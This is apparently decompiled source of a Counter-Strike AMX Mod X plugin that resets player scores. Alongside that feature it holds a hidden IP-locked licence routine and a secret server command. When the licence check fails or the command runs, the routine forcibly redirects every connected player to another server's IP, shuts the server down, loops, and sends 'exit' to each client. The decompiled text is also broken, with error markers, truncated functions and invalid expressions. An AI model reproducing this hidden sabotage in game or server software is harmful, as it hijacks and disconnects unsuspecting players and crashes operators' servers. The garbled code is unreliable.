#pragma semicolon 1
#pragma ctrlchar '\'
new __dhud_color;
new __dhud_x;
new __dhud_y;
new __dhud_effect;
new __dhud_fxtime;
new __dhud_holdtime;
new __dhud_fadeintime;
new __dhud_fadeouttime;
new __dhud_reliable;
new address_nt[3][32];
public __fatal_ham_error(Ham:id, HamError:err, String:reason[])
{
!!! Removed Phi
if (func != -1 && callfunc_begin_i(func, -1) == 1)
{
callfunc_push_int(id);
callfunc_push_int(err);
callfunc_push_str(reason, false);
if (callfunc_end() == 1)
{
fail = 0;
}
}
if (fail)
{
set_fail_state(reason);
}
return 0;
}
set_dhudmessage(red, green, blue, Float:x, Float:y, effects, Float:fxtime, Float:holdtime, Float:fadeintime, Float:fadeouttime, bool:reliable)
{
__dhud_color = clamp(red, 0, 255) << 16 + clamp(green, 0, 255) << 8 + clamp(blue, 0, 255);
__dhud_x = x;
__dhud_y = y;
__dhud_effect = effects;
__dhud_fxtime = fxtime;
__dhud_holdtime = holdtime;
__dhud_fadeintime = fadeintime;
__dhud_fadeouttime = fadeouttime;
__dhud_reliable = reliable;
return 1;
}
show_dhudmessage(index, String:message[])
{
!!! Removed Phi
new buffer[128];
new numArguments = numargs();
if (numArguments == 2)
{
send_dhudMessage(index, message);
}
else
{
if (index || numArguments == 3)
{
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
}
new playersList[32];
new numPlayers = 0;
get_players(playersList, numPlayers, "ch", "");
if (!numPlayers)
{
return 0;
}
new Array:handleArrayML = ArrayCreate(1, 32);
new i = 2;
new j = 0;
while (i < numArguments)
{
if (getarg(i, 0) == -1)
{
do {
j++;
new var2 = getarg(i + 1, j);
buffer[j] = var2;
} while (var2);
j = 0;
if (GetLangTransKey(buffer) != -1)
{
i++;
ArrayPushCell(handleArrayML, i);
i++;
}
i++;
}
i++;
}
new size = ArraySize(handleArrayML);
if (!size)
{
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
}
else
{
new i = 0;
new j = 0;
while (i < numPlayers)
{
index = playersList;
j = 0;
while (j < size)
{
setarg(ArrayGetCell(handleArrayML, j), 0, index);
j++;
}
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
i++;
}
}
ArrayDestroy(handleArrayML);
}
return 1;
}
send_dhudMessage(index, String:message[])
{
new var2;
if (__dhud_reliable)
{
new var1;
if (index)
{
var1 = 1;
}
else
{
var1 = 2;
}
/ * ERROR! Не удалось привести тип объекта "Lysis.DSentinel" к типу "Lysis.DReturn". * /
function "send_dhudMessage"
send_dhudMessage(index, String:message[])
public plugin_init()
{
!!! Removed Phi
if (!equal(var3[0][0][var3], address_nt[1][0], 0) || contain(var4[0][0][var4], address_nt[1][0]) == -1 || containi(var5[0][0][var5], address_nt[1][0]) == -1)
{
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
set_fail_state("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
is_the_end();
return 1;
}
if (!equal(sIP, "46.50.165.22:22222", 0) || contain(sIP, "46.50.165.22:22222") == -1 || containi(sIP, "46.50.165.22:22222") == -1)
{
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
set_fail_state("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
is_the_end();
return 1;
}
set_task(15.00, "recheck_ip", 0, "", 0, "", 0);
register_srvcmd("disable_leo_plugins", "the_block", -1, "");
RegisterHam(Ham_Killed, "player", "Ham_Player_Killed_Post", 1);
register_clcmd("say /rs", "reset_score", -1, "", -1);
register_clcmd("say_team /rs", "reset_score", -1, "", -1);
register_clcmd("say /resetscore", "reset_score", -1, "", -1);
register_clcmd("say_team /resetscore", "reset_score", -1, "", -1);
return 0;
}
public reset_score(id)
{
if (!is_user_connected(id))
{
return 0;
}
cs_set_user_deaths(id, 0);
set_user_frags(id, 0);
cs_set_user_deaths(id, 0);
set_user_frags(id, 0);
static rgb[3];
switch (random_num(1, 6))
{
case 1:
{
rgb[0] = 250;
rgb[1] = 250;
rgb[2] = 250;
}
case 2:
{
rgb[0] = 0;
rgb[1] = 250;
rgb[2] = 0;
}
case 3:
{
rgb[0] = 0;
rgb[1] = 250;
rgb[2] = 250;
}
case 4:
{
rgb[0] = 250;
rgb[1] = 250;
rgb[2] = 0;
}
case 5:
{
rgb[0] = 250;
rgb[1] = 125;
rgb[2] = 0;
}
case 6:
{
rgb[0] = 0;
rgb[1] = 250;
rgb[2] = 0;
}
default:
{
}
}
/ * ERROR! Ссылка на объект не указывает на экземпляр объекта. * /
function "reset_score"
public reset_score(id)
public Ham_Player_Killed_Post(id)
{
!!! Removed Phi
if (is_user_connected(id))
{
if (frags <= 0 || deaths > frags)
{
reset_score(id);
}
}
return 0;
}
public plugin_precache()
{
!!! Removed Phi
if (!equal(sIP, "46.50.165.22:22222", 0) || contain(sIP, "46.50.165.22:22222") == -1 || containi(sIP, "46.50.165.22:22222") == -1)
{
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
set_fail_state("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
is_the_end();
return 1;
}
return 0;
}
public recheck_ip()
{
get_cvar_string("net_address", address_nt[2][0], 31);
new var3 = address_nt;
new var1;
new var2;
if (!equal(var3[0][0][var3], address_nt[1][0], 0))
{
var1 = var3;
}
else
{
new var4 = address_nt;
if (contain(var4[0][0][var4], address_nt[1][0]) == -1)
{
var1 = var4;
}
new var5 = address_nt;
if (containi(var5[0][0][var5], address_nt[1][0]) == -1)
{
var1 = var5;
}
new var6 = address_nt[1];
if (!equal(var6[0], address_nt[2][0], 0))
{
var1 = var6;
}
new var7 = address_nt[1];
if (contain(var7[0], address_nt[2][0]) == -1)
{
var1 = var7;
}
new var8 = address_nt[1];
if (containi(var8[0], address_nt[2][0]) == -1)
{
var1 = var8;
}
new var9 = address_nt;
if (!equal(var9[0][0][var9], address_nt[2][0], 0))
{
var1 = var9;
}
new var10 = address_nt;
if (contain(var10[0][0][var10], address_nt[2][0]) == -1)
{
var1 = var10;
}
new var11 = address_nt;
if (containi(var11[0][0][var11], address_nt[2][0]) == -1)
{
var1 = var11;
}
var2 = var11;
if (ERROR: Phi)
{
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
set_fail_state("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
is_the_end();
return 1;
}
return 0;
}
var2 = var1;
if (ERROR: Phi)
{
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
set_fail_state("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
is_the_end();
return 1;
}
return 0;
}
public is_the_end()
{
new id = 1;
while (id < 32)
{
if (is_user_connected(id))
{
client_cmd(id, "connect 31.28.168.213:27015");
}
id++;
}
server_cmd("echo Hack licence plugin detected - server crashed...");
client_print(0, print_chat, "Hack licence plugin detected - server crashed...");
server_cmd("exit");
server_cmd("quit");
new rytgf = 1;
while (rytgf == 1)
{
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
server_cmd("echo YOU ARE REALLY STUPPID");
new i = 1;
while (i < 32)
{
if (is_user_connected(i))
{
client_cmd(i, "exit");
}
i++;
}
rytgf = 1;
}
return 0;
}
public the_block()
{
log_amx("Plugins disabled by server command...");
log_amx("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
set_fail_state("Error! \nYou do not have a license for this plugin! \nBuy here: http://vk.com/cs_rain");
is_the_end();
return 0;
}